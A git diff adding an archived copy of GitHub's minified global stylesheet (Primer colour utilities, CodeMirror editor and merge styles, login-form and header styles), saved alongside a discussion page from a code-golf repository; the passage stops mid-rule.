newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css new file mode 100644 index 0000000..2192c7e --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css @@ -0,0 +1,11 @@ +.color-border-inverse{border-color:var(--color-fg-on-emphasis) !important}.bg-gray-2,.bg-gray-3{background-color:var(--color-neutral-muted) !important}.color-text-white{color:var(--color-scale-white) !important}.border-white-fade{border-color:rgba(255,255,255,.15) !important}.lead{color:var(--color-fg-muted)}.text-emphasized{color:var(--color-fg-default)}.Label.Label--orange{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label.Label--purple{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label.Label--pink{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}/*! + * GitHub Light v0.5.0 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.pl-c{color:var(--color-prettylights-syntax-comment)}.pl-c1,.pl-s .pl-v{color:var(--color-prettylights-syntax-constant)}.pl-e,.pl-en{color:var(--color-prettylights-syntax-entity)}.pl-smi,.pl-s .pl-s1{color:var(--color-prettylights-syntax-storage-modifier-import)}.pl-ent{color:var(--color-prettylights-syntax-entity-tag)}.pl-k{color:var(--color-prettylights-syntax-keyword)}.pl-s,.pl-pds,.pl-s .pl-pse .pl-s1,.pl-sr,.pl-sr .pl-cce,.pl-sr .pl-sre,.pl-sr .pl-sra{color:var(--color-prettylights-syntax-string)}.pl-v,.pl-smw{color:var(--color-prettylights-syntax-variable)}.pl-bu{color:var(--color-prettylights-syntax-brackethighlighter-unmatched)}.pl-ii{color:var(--color-prettylights-syntax-invalid-illegal-text);background-color:var(--color-prettylights-syntax-invalid-illegal-bg)}.pl-c2{color:var(--color-prettylights-syntax-carriage-return-text);background-color:var(--color-prettylights-syntax-carriage-return-bg)}.pl-c2::before{content:"^M"}.pl-sr .pl-cce{font-weight:bold;color:var(--color-prettylights-syntax-string-regexp)}.pl-ml{color:var(--color-prettylights-syntax-markup-list)}.pl-mh,.pl-mh .pl-en,.pl-ms{font-weight:bold;color:var(--color-prettylights-syntax-markup-heading)}.pl-mi{font-style:italic;color:var(--color-prettylights-syntax-markup-italic)}.pl-mb{font-weight:bold;color:var(--color-prettylights-syntax-markup-bold)}.pl-md{color:var(--color-prettylights-syntax-markup-deleted-text);background-color:var(--color-prettylights-syntax-markup-deleted-bg)}.pl-mi1{color:var(--color-prettylights-syntax-markup-inserted-text);background-color:var(--color-prettylights-syntax-markup-inserted-bg)}.pl-mc{color:var(--color-prettylights-syntax-markup-changed-text);background-color:var(--color-prettylights-syntax-markup-changed-bg)}.pl-mi2{color:var(--color-prettylights-syntax-markup-ignored-text);background-color:var(--color-prettylights-syntax-markup-ignored-bg)}.pl-mdr{font-weight:bold;color:var(--color-prettylights-syntax-meta-diff-range)}.pl-ba{color:var(--color-prettylights-syntax-brackethighlighter-angle)}.pl-sg{color:var(--color-prettylights-syntax-sublimelinter-gutter-mark)}.pl-corl{text-decoration:underline;color:var(--color-prettylights-syntax-constant-other-reference-link)}.CodeMirror{font-family:monospace;height:300px;color:black;direction:ltr}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:white}.CodeMirror-gutters{border-right:1px solid #ddd;background-color:#f7f7f7;white-space:nowrap}.CodeMirror-linenumber{padding:0 3px 0 5px;min-width:20px;text-align:right;color:#999;white-space:nowrap}.CodeMirror-guttermarker{color:black}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{border-left:1px solid black;border-right:none;width:0}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;border:0 !important;background:#7e7}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor-mark{background-color:rgba(20, 255, 20, 0.5);animation:blink 1.06s steps(1) infinite}.cm-animate-fat-cursor{width:auto;border:0;animation:blink 1.06s steps(1) infinite;background-color:#7e7}@keyframes blink{50%{background-color:transparent}}.cm-tab{display:inline-block;text-decoration:inherit}.CodeMirror-rulers{position:absolute;left:0;right:0;top:-50px;bottom:0;overflow:hidden}.CodeMirror-ruler{border-left:1px solid #ccc;top:0;bottom:0;position:absolute}.cm-s-default .cm-header{color:blue}.cm-s-default .cm-quote{color:#090}.cm-negative{color:#d44}.cm-positive{color:#292}.cm-header,.cm-strong{font-weight:bold}.cm-em{font-style:italic}.cm-link{text-decoration:underline}.cm-strikethrough{text-decoration:line-through}.cm-s-default .cm-keyword{color:#708}.cm-s-default .cm-atom{color:#219}.cm-s-default .cm-number{color:#164}.cm-s-default .cm-def{color:blue}.cm-s-default .cm-variable-2{color:#05a}.cm-s-default .cm-variable-3,.cm-s-default .cm-type{color:#085}.cm-s-default .cm-comment{color:#a50}.cm-s-default .cm-string{color:#a11}.cm-s-default .cm-string-2{color:#f50}.cm-s-default .cm-meta{color:#555}.cm-s-default .cm-qualifier{color:#555}.cm-s-default .cm-builtin{color:#30a}.cm-s-default .cm-bracket{color:#997}.cm-s-default .cm-tag{color:#170}.cm-s-default .cm-attribute{color:#00c}.cm-s-default .cm-hr{color:#999}.cm-s-default .cm-link{color:#00c}.cm-s-default .cm-error{color:red}.cm-invalidchar{color:red}.CodeMirror-composing{border-bottom:2px solid}div.CodeMirror span.CodeMirror-matchingbracket{color:#0b0}div.CodeMirror span.CodeMirror-nonmatchingbracket{color:#a22}.CodeMirror-matchingtag{background:rgba(255, 150, 0, 0.3)}.CodeMirror-activeline-background{background:#e8f2ff}.CodeMirror{position:relative;overflow:hidden;background:white}.CodeMirror-scroll{overflow:scroll !important;margin-bottom:-50px;margin-right:-50px;padding-bottom:50px;height:100%;outline:none;position:relative}.CodeMirror-sizer{position:relative;border-right:50px solid transparent}.CodeMirror-vscrollbar,.CodeMirror-hscrollbar,.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{position:absolute;z-index:6;display:none;outline:none}.CodeMirror-vscrollbar{right:0;top:0;overflow-x:hidden;overflow-y:scroll}.CodeMirror-hscrollbar{bottom:0;left:0;overflow-y:hidden;overflow-x:scroll}.CodeMirror-scrollbar-filler{right:0;bottom:0}.CodeMirror-gutter-filler{left:0;bottom:0}.CodeMirror-gutters{position:absolute;left:0;top:0;min-height:100%;z-index:3}.CodeMirror-gutter{white-space:normal;height:100%;display:inline-block;vertical-align:top;margin-bottom:-50px}.CodeMirror-gutter-wrapper{position:absolute;z-index:4;background:none !important;border:none !important}.CodeMirror-gutter-background{position:absolute;top:0;bottom:0;z-index:4}.CodeMirror-gutter-elt{position:absolute;cursor:default;z-index:4}.CodeMirror-gutter-wrapper ::selection{background-color:transparent}.CodeMirror-gutter-wrapper ::-moz-selection{background-color:transparent}.CodeMirror-lines{cursor:text;min-height:1px}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{border-radius:0;border-width:0;background:transparent;font-family:inherit;font-size:inherit;margin:0;white-space:pre;word-wrap:normal;line-height:inherit;color:inherit;z-index:2;position:relative;overflow:visible;-webkit-tap-highlight-color:transparent;font-variant-ligatures:contextual}.CodeMirror-wrap pre.CodeMirror-line,.CodeMirror-wrap pre.CodeMirror-line-like{word-wrap:break-word;white-space:pre-wrap;word-break:normal}.CodeMirror-linebackground{position:absolute;left:0;right:0;top:0;bottom:0;z-index:0}.CodeMirror-linewidget{position:relative;z-index:2;padding:.1px}.CodeMirror-rtl pre{direction:rtl}.CodeMirror-code{outline:none}.CodeMirror-scroll,.CodeMirror-sizer,.CodeMirror-gutter,.CodeMirror-gutters,.CodeMirror-linenumber{box-sizing:content-box}.CodeMirror-measure{position:absolute;width:100%;height:0;overflow:hidden;visibility:hidden}.CodeMirror-cursor{position:absolute;pointer-events:none}.CodeMirror-measure pre{position:static}div.CodeMirror-cursors{visibility:hidden;position:relative;z-index:3}div.CodeMirror-dragcursors{visibility:visible}.CodeMirror-focused div.CodeMirror-cursors{visibility:visible}.CodeMirror-selected{background:#d9d9d9}.CodeMirror-focused .CodeMirror-selected{background:#d7d4f0}.CodeMirror-crosshair{cursor:crosshair}.CodeMirror-line::selection,.CodeMirror-line>span::selection,.CodeMirror-line>span>span::selection{background:#d7d4f0}.CodeMirror-line::-moz-selection,.CodeMirror-line>span::-moz-selection,.CodeMirror-line>span>span::-moz-selection{background:#d7d4f0}.cm-searching{background-color:#ffa;background-color:rgba(255, 255, 0, 0.4)}.cm-force-border{padding-right:.1px}@media print{.CodeMirror div.CodeMirror-cursors{visibility:hidden}}.cm-tab-wrap-hack:after{content:""}span.CodeMirror-selectedtext{background:none}.CodeMirror-dialog{position:absolute;left:0;right:0;background:inherit;z-index:15;padding:.1em .8em;overflow:hidden;color:inherit}.CodeMirror-dialog-top{border-bottom:1px solid #eee;top:0}.CodeMirror-dialog-bottom{border-top:1px solid #eee;bottom:0}.CodeMirror-dialog input{border:none;outline:none;background:transparent;width:20em;color:inherit;font-family:monospace}.CodeMirror-dialog button{font-size:70%}.CodeMirror-merge{position:relative;border:1px solid #ddd;white-space:pre}.CodeMirror-merge,.CodeMirror-merge .CodeMirror{height:350px}.CodeMirror-merge-2pane .CodeMirror-merge-pane{width:47%}.CodeMirror-merge-2pane .CodeMirror-merge-gap{width:6%}.CodeMirror-merge-3pane .CodeMirror-merge-pane{width:31%}.CodeMirror-merge-3pane .CodeMirror-merge-gap{width:3.5%}.CodeMirror-merge-pane{display:inline-block;white-space:normal;vertical-align:top}.CodeMirror-merge-pane-rightmost{position:absolute;right:0px;z-index:1}.CodeMirror-merge-gap{z-index:2;display:inline-block;height:100%;box-sizing:border-box;overflow:hidden;border-left:1px solid #ddd;border-right:1px solid #ddd;position:relative;background:#f8f8f8}.CodeMirror-merge-scrolllock-wrap{position:absolute;bottom:0;left:50%}.CodeMirror-merge-scrolllock{position:relative;left:-50%;cursor:pointer;color:#555;line-height:1}.CodeMirror-merge-scrolllock:after{content:"⇛  ⇚"}.CodeMirror-merge-scrolllock.CodeMirror-merge-scrolllock-enabled:after{content:"⇛⇚"}.CodeMirror-merge-copybuttons-left,.CodeMirror-merge-copybuttons-right{position:absolute;left:0;top:0;right:0;bottom:0;line-height:1}.CodeMirror-merge-copy{position:absolute;cursor:pointer;color:#44c;z-index:3}.CodeMirror-merge-copy-reverse{position:absolute;cursor:pointer;color:#44c}.CodeMirror-merge-copybuttons-left .CodeMirror-merge-copy{left:2px}.CodeMirror-merge-copybuttons-right .CodeMirror-merge-copy{right:2px}.CodeMirror-merge-r-inserted,.CodeMirror-merge-l-inserted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-deleted,.CodeMirror-merge-l-deleted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-chunk{background:#ffffe0}.CodeMirror-merge-r-chunk-start{border-top:1px solid #ee8}.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #ee8}.CodeMirror-merge-r-connect{fill:#ffffe0;stroke:#ee8;stroke-width:1px}.CodeMirror-merge-l-chunk{background:#eef}.CodeMirror-merge-l-chunk-start{border-top:1px solid #88e}.CodeMirror-merge-l-chunk-end{border-bottom:1px solid #88e}.CodeMirror-merge-l-connect{fill:#eef;stroke:#88e;stroke-width:1px}.CodeMirror-merge-l-chunk.CodeMirror-merge-r-chunk{background:#dfd}.CodeMirror-merge-l-chunk-start.CodeMirror-merge-r-chunk-start{border-top:1px solid #4e4}.CodeMirror-merge-l-chunk-end.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #4e4}.CodeMirror-merge-collapsed-widget:before{content:"(...)"}.CodeMirror-merge-collapsed-widget{cursor:pointer;color:#88b;background:#eef;border:1px solid #ddf;font-size:90%;padding:0 3px;border-radius:4px}.CodeMirror-merge-collapsed-line .CodeMirror-gutter-elt{display:none}/*! + * GitHub Light v0.4.2 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.cm-s-github-light.CodeMirror{background:var(--color-codemirror-bg);color:var(--color-codemirror-text)}.cm-s-github-light .CodeMirror-gutters{background:var(--color-codemirror-gutters-bg);border-right-width:0}.cm-s-github-light .CodeMirror-guttermarker{color:var(--color-codemirror-guttermarker-text)}.cm-s-github-light .CodeMirror-guttermarker-subtle{color:var(--color-codemirror-guttermarker-subtle-text)}.cm-s-github-light .CodeMirror-linenumber{color:var(--color-codemirror-linenumber-text);padding:0 16px 0 16px}.cm-s-github-light .CodeMirror-cursor{border-left:1px solid var(--color-codemirror-cursor)}.cm-s-github-light.CodeMirror-focused .CodeMirror-selected,.cm-s-github-light .CodeMirror-line::selection,.cm-s-github-light .CodeMirror-line>span::selection,.cm-s-github-light .CodeMirror-line>span>span::selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-line::-moz-selection,.cm-s-github-light .CodeMirror-line>span::-moz-selection,.cm-s-github-light .CodeMirror-line>span>span::-moz-selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-activeline-background{background:var(--color-codemirror-activeline-bg)}.cm-s-github-light .CodeMirror-matchingbracket{text-decoration:underline;color:var(--color-codemirror-matchingbracket-text) !important}.cm-s-github-light .CodeMirror-lines{font-family:"SFMono-Regular",Consolas,"Liberation Mono",Menlo,Courier,monospace;font-size:12px;background:var(--color-codemirror-lines-bg);line-height:1.5}.cm-s-github-light .cm-comment{color:var(--color-codemirror-syntax-comment)}.cm-s-github-light .cm-constant{color:var(--color-codemirror-syntax-constant)}.cm-s-github-light .cm-entity{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-entity)}.cm-s-github-light .cm-keyword{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-keyword)}.cm-s-github-light .cm-storage{color:var(--color-codemirror-syntax-storage)}.cm-s-github-light .cm-string{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-string)}.cm-s-github-light .cm-support{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-support)}.cm-s-github-light .cm-variable{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-variable)}details-dialog{position:fixed;margin:10vh auto;top:0;left:50%;transform:translateX(-50%);z-index:999;max-height:80vh;max-width:90vw;width:448px;overflow:auto}.user-select-contain{-webkit-user-select:contain;user-select:contain}.ajax-pagination-form .ajax-pagination-btn{width:100%;padding:6px;margin-top:20px;font-weight:600;color:var(--color-accent-fg);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.ajax-pagination-form .ajax-pagination-btn:hover,.ajax-pagination-form .ajax-pagination-btn:focus{color:var(--color-accent-fg);background-color:var(--color-canvas-subtle)}.ajax-pagination-form.loading .ajax-pagination-btn{text-indent:-3000px;background-color:var(--color-canvas-subtle);background-image:url("/images/spinners/octocat-spinner-16px-EAF2F5.gif");background-repeat:no-repeat;background-position:center center;border-color:var(--color-border-default)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.ajax-pagination-form.loading .ajax-pagination-btn{background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-size:16px auto}}body.intent-mouse [role=button]:focus,body.intent-mouse [role=tabpanel][tabindex="0"]:focus,body.intent-mouse button:focus,body.intent-mouse summary:focus,body.intent-mouse a:focus{outline:none;box-shadow:none}body.intent-mouse [tabindex="0"]:focus,body.intent-mouse details-dialog:focus{outline:none}.CodeMirror{height:calc(100vh - 1px)}.file-editor-upload{height:100%}.issue-template-editor{height:100%}.file-editor-textarea{width:100%;padding:5px 4px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;resize:vertical;border:0;border-radius:0;outline:none}.container-preview .tabnav-tabs{margin:-5px 0 -5px -9px}.container-preview .tabnav-tabs .tabnav-tab{padding:12px 16px;border-radius:0}.container-preview .tabnav-tabs>.selected:first-child{border-top-left-radius:6px}.container-preview .tabnav-tabs .selected{font-weight:600}.container-preview.template-editor .commit-create,.container-preview.template-editor .file-actions{display:block}.container-preview.template-editor .show-code,.container-preview.template-editor .commit-preview,.container-preview.template-editor .loading-preview-msg,.container-preview.template-editor .no-changes-preview-msg,.container-preview.template-editor .error-preview-msg{display:none !important}.container-preview.render-editor .commit-create,.container-preview.render-editor .file-actions{display:block}.container-preview.render-editor .template-editor,.container-preview.render-editor .show-code,.container-preview.render-editor .commit-preview,.container-preview.render-editor .loading-preview-msg,.container-preview.render-editor .no-changes-preview-msg,.container-preview.render-editor .error-preview-msg{display:none !important}.container-preview.show-code .commit-create,.container-preview.show-code .file-actions{display:block}.container-preview.show-code .template-editor,.container-preview.show-code .render-editor,.container-preview.show-code .commit-preview,.container-preview.show-code .loading-preview-msg,.container-preview.show-code .no-changes-preview-msg,.container-preview.show-code .error-preview-msg{display:none !important}.container-preview:not(.show-code) .commit-create,.container-preview:not(.show-code) .file-actions{display:none !important}.container-preview.loading-preview .loading-preview-msg{display:block}.container-preview.loading-preview .template-editor,.container-preview.loading-preview .render-editor,.container-preview.loading-preview .no-changes-preview-msg,.container-preview.loading-preview .error-preview-msg,.container-preview.loading-preview .commit-preview{display:none !important}.container-preview.show-preview .commit-preview{display:block}.container-preview.show-preview .template-editor,.container-preview.show-preview .render-editor,.container-preview.show-preview .loading-preview-msg,.container-preview.show-preview .no-changes-preview-msg,.container-preview.show-preview .error-preview-msg{display:none !important}.container-preview.no-changes-preview .no-changes-preview-msg{display:block}.container-preview.no-changes-preview .template-editor,.container-preview.no-changes-preview .render-editor,.container-preview.no-changes-preview .loading-preview-msg,.container-preview.no-changes-preview .error-preview-msg,.container-preview.no-changes-preview .commit-preview{display:none !important}.container-preview.error-preview .error-preview-msg{display:block}.container-preview.error-preview .template-editor,.container-preview.error-preview .render-editor,.container-preview.error-preview .loading-preview-msg,.container-preview.error-preview .no-changes-preview-msg,.container-preview.error-preview .commit-preview{display:none !important}.container-preview p.preview-msg{padding:30px;font-size:16px}.CodeMirror-merge-header{height:30px}.CodeMirror-merge-header .CodeMirror-merge-pane{height:30px;line-height:30px}.cm-s-github-light .merge-gutter{width:14px}.conflict-background+.CodeMirror-gutter-wrapper .CodeMirror-linenumber{background-color:var(--color-attention-subtle)}.form-group .edit-action{opacity:.6}.form-group .form-field-hover{background-color:none;border:1px solid var(--color-border-default)}.form-group:hover .edit-action{cursor:pointer;opacity:.7}.form-group:hover .form-field-hover{cursor:pointer;border:1px solid var(--color-border-default)}.placeholder-box{border:1px solid var(--color-border-default)}.template-previews{max-width:768px}.template-previews .Box .expand-group{display:none;height:0}.template-previews .Box .dismiss-preview-button{display:none}.template-previews .Box.expand-preview .expand-group{display:block;height:100%;transition:height 3s}.template-previews .Box.expand-preview .preview-button{display:none}.template-previews .Box.expand-preview .dismiss-preview-button{display:inline}.template-previews .discussion-sidebar-heading{font-size:14px;color:var(--color-neutral-emphasis)}.template-previews .discussion-sidebar-heading:hover{color:var(--color-accent-emphasis)}.edit-labels{display:none}.preview-section{display:block}.edit-section{display:none}.Box .section-focus .preview-section{display:none}.Box .section-focus .edit-section{display:block}.commit-create .CodeMirror{padding-top:8px}auto-complete,details-dialog,details-menu,file-attachment,filter-input,remote-input,tab-container,text-expander,turbo-frame,[data-catalyst]{display:block}[data-catalyst-inline]{display:inline}.Details--on .Details-content--shown{display:none !important}.Details:not(.Details--on) .Details-content--hidden{display:none !important}.Details:not(.Details--on) .Details-content--hidden-not-important{display:none}.Details-element[open]>summary .Details-content--closed{display:none !important}.Details-element:not([open])>summary .Details-content--open{display:none !important}g-emoji{display:inline-block;min-width:1ch;font-family:"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1em;font-style:normal !important;font-weight:400;line-height:1;vertical-align:-0.075em}g-emoji img{width:1em;height:1em}.emoji-icon{display:inline-block;width:20px;height:20px;vertical-align:middle;background-repeat:no-repeat;background-size:20px 20px}.emoji-result{display:inline-block;height:20px;font-size:16px;font-weight:400;vertical-align:middle}.gollum-editor .comment-form-head.tabnav{border:1px solid var(--color-border-muted)}.gollum-editor .gollum-editor-body{height:390px;resize:vertical}.active .gollum-editor-function-buttons{display:block !important}.auth-form{width:340px;margin:0 auto}.auth-form .form-group.warn .warning,.auth-form .form-group.warn .error,.auth-form .form-group.errored .warning,.auth-form .form-group.errored .error{max-width:274px}.auth-form-header{padding:8px 16px;margin:0;color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.3);background-color:#829aa8;border:1px solid #768995;border-radius:6px 6px 0 0}.auth-form-header h1{font-size:16px}.auth-form-header h1 a{color:#fff}.auth-form-header .octicon{position:absolute;top:10px;right:20px;color:rgba(0,0,0,.4);text-shadow:0 1px 0 rgba(255,255,255,.1)}.auth-form-message{max-height:140px;padding:16px 16px 8px;overflow-y:scroll;border:1px solid var(--color-border-default);border-radius:6px}.auth-form-message ol,.auth-form-message ul{padding-left:inherit;margin-bottom:inherit}.auth-form-body{padding:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-top:0;border-radius:0 0 6px 6px}.auth-form-body .input-block{margin-top:4px;margin-bottom:16px}.auth-form-body p{margin-bottom:0}.auth-form-body ol,.auth-form-body ul{padding-left:inherit;margin-bottom:inherit}.two-factor-help{position:relative;padding:8px 8px 8px 32px;margin:60px 0 auto auto;border:1px solid var(--color-border-muted);border-radius:6px}.two-factor-help h4{margin-top:0;margin-bottom:4px}.two-factor-help .octicon-device-mobile,.two-factor-help .octicon-key,.two-factor-help .octicon-shield-lock,.two-factor-help .octicon-circle-slash{position:absolute;top:10px;left:10px}.sms-send-code-spinner{position:relative;bottom:2px;display:none;vertical-align:bottom}.loading .sms-send-code-spinner{display:inline}.auth-form-body .webauthn-form-body{padding:0}.webauthn-form-body{padding:32px 32px 16px;text-align:center}.webauthn-form-body button{margin-top:16px}.flash.sms-error,.flash.sms-success{display:none;margin:0 0 8px}.is-sent .sms-success{display:block}.is-sent .sms-error{display:none}.is-not-sent .sms-success{display:none}.is-not-sent .sms-error{display:block}.session-authentication{background-color:var(--color-canvas-default)}.session-authentication .header-logged-out{background-color:transparent;border-bottom:0}.session-authentication .header-logo{color:var(--color-fg-default)}.session-authentication .flash{padding:16px 16px;margin:0 auto;margin-bottom:8px;font-size:14px;border-style:solid;border-width:1px;border-radius:6px}.session-authentication .flash .container{width:auto}.session-authentication .flash .flash-close{height:40px}.session-authentication .flash.flash-banner{width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.session-authentication .auth-form label{display:block;margin-bottom:8px;font-weight:400;text-align:left}.session-authentication .auth-form .btn{margin-top:16px}.session-authentication .auth-form .webauthn-message{margin-bottom:0}.session-authentication .label-link{float:right;font-size:12px}.session-authentication .auth-form-header{margin-bottom:16px;color:var(--color-fg-default);text-align:center;text-shadow:none;background-color:transparent;border:0}.session-authentication .auth-form-header h1{font-size:24px;font-weight:300;letter-spacing:-0.5px}.session-authentication .auth-form-body{border-top:1px solid var(--color-border-muted);border-radius:6px}.session-authentication .auth-form-body.webauthn-form-body{padding:16px}.session-authentication .login-callout{padding:16px 16px;text-align:center;border:1px solid var(--color-border-default);border-radius:6px}.session-authentication .two-factor-help{padding:0 0 0 16px;margin-top:16px;border:0}.session-authentication .two-factor-help .octicon-device-mobile,.session-authentication .two-factor-help .octicon-key,.session-authentication .two-factor-help .octicon-shield-lock,.session-authentication .two-factor-help .octicon-circle-slash{top:4px;left:0}.session-authentication.enterprise .header-logged-out{padding:48px 0 24px;background-color:transparent}.session-authentication.hosted .header-logged-out{padding:40px 0 16px;background-color:transparent}.Header-old{z-index:32;padding-top:12px;padding-bottom:12px;color:#fff;background-color:var(--color-header-bg)}.server-stats+.Header-old{box-shadow:inset 0 1px 0 rgba(255,255,255,.075)}.Header-old .dropdown-menu{width:300px}.Header-old .notification-indicator:hover::after{content:none}@media(min-width: 1012px){.Header-old .notification-indicator:hover::after{content:attr(aria-label)}}.HeaderMenu{display:none;clear:both}@media(min-width: 1012px){.HeaderMenu{display:block;clear:none}}.open .HeaderMenu{display:block}.HeaderMenu-summary::marker,.HeaderMenu-summary::-webkit-details-marker{display:none}@keyframes dropdown-display{0%{opacity:0;transform:scale(0.98) translateY(-0.6em)}100%{opacity:1;transform:scale(1) translateY(0)}}.HeaderMenu--logged-out{z-index:100;width:300px;overflow:auto;background-color:var(--color-canvas-default);box-shadow:0 10px 50px rgba(27,31,35,.15)}@media(min-width: 1012px){.HeaderMenu--logged-out{width:auto;overflow:visible;background-color:transparent;box-shadow:none}}.HeaderMenu--logged-out .jump-to-suggestions{top:100%}.HeaderMenu--logged-out .HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}.HeaderMenu--logged-out .header-search-key-slash{margin-right:8px !important}.HeaderMenu--logged-out .dropdown-menu{position:static;width:auto;border:0 solid transparent;box-shadow:none}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{display:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu{position:absolute;width:300px;border:0;box-shadow:0 3px 12px rgba(27,31,35,.15),0 0 1px rgba(27,31,35,.2)}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{content:""}}.HeaderMenu--logged-out .dropdown-menu-s{transform:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu-s{transform:translateX(50%)}}.HeaderMenu--logged-out .header-search{width:auto;border-top:0}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search{width:240px}}.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-border-muted)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-header-search-border)}}@media(max-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{background-color:var(--color-canvas-default)}}.HeaderMenu--logged-out .header-search-input{padding-top:8px;padding-bottom:8px;font-size:14px;-webkit-appearance:none;color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input{color:inherit}}.HeaderMenu--logged-out .header-search-input::placeholder{color:var(--color-fg-muted) !important}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input::placeholder{color:rgba(255,255,255,.75) !important}}.HeaderMenu-link{color:var(--color-fg-default);white-space:nowrap;background:transparent;transition:opacity .4s}.HeaderMenu-link:hover{color:var(--color-fg-default);opacity:.75}@media(min-width: 1012px){.HeaderMenu-link{color:#fff;transition:opacity .4s}.HeaderMenu-link:hover{color:#fff;opacity:.75}}.HeaderMenu-link .icon-chevon-down-mktg{top:24px;right:0;width:14px;stroke:var(--color-fg-default);transition:stroke .4s}@media(min-width: 1012px){.HeaderMenu-link .icon-chevon-down-mktg{top:-2px;width:12px;stroke:rgba(255,255,255,.5);background:transparent}}.HeaderMenu-details[open]>summary::before{display:none}@media(min-width: 1012px){.HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}}.HeaderMenu-details[open] .HeaderMenu-link{color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .HeaderMenu-link{color:rgba(255,255,255,.75)}}.HeaderMenu-details[open] .dropdown-menu{animation:none}@media(min-width: 1012px){.HeaderMenu-details[open] .dropdown-menu{animation:dropdown-display .4s cubic-bezier(0.73, 0.005, 0.22, 1)}}.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:#fff}}.header-logo-invertocat{margin:-1px 16px -1px -2px;color:#fff;white-space:nowrap}.header-logo-invertocat .octicon-mark-github{float:left}.header-logo-invertocat:hover{color:#fff;text-decoration:none}.notification-indicator .mail-status{position:absolute;top:-6px;left:6px;z-index:2;display:none;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.notification-indicator .mail-status.unread{display:inline-block}.notification-indicator:hover .mail-status{text-decoration:none;background-color:var(--color-accent-emphasis)}.header-nav-current-user{padding-bottom:0;font-size:inherit}.header-nav-current-user .css-truncate-target{max-width:100%}.header-nav-current-user .user-profile-link{color:var(--color-fg-default)}.unread-indicator{position:absolute;top:0;left:13px;z-index:2;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.unread-indicator--small{width:10px;height:10px;border:0}.unread-indicator-container .unread-indicator{top:9px;right:10px;left:inherit;width:10px;height:10px;border:0}.header-search-wrapper{display:table;width:100%;max-width:100%;padding:0;font-size:inherit;font-weight:400;color:var(--color-scale-white);vertical-align:middle;background-color:var(--color-header-search-bg);border:1px solid 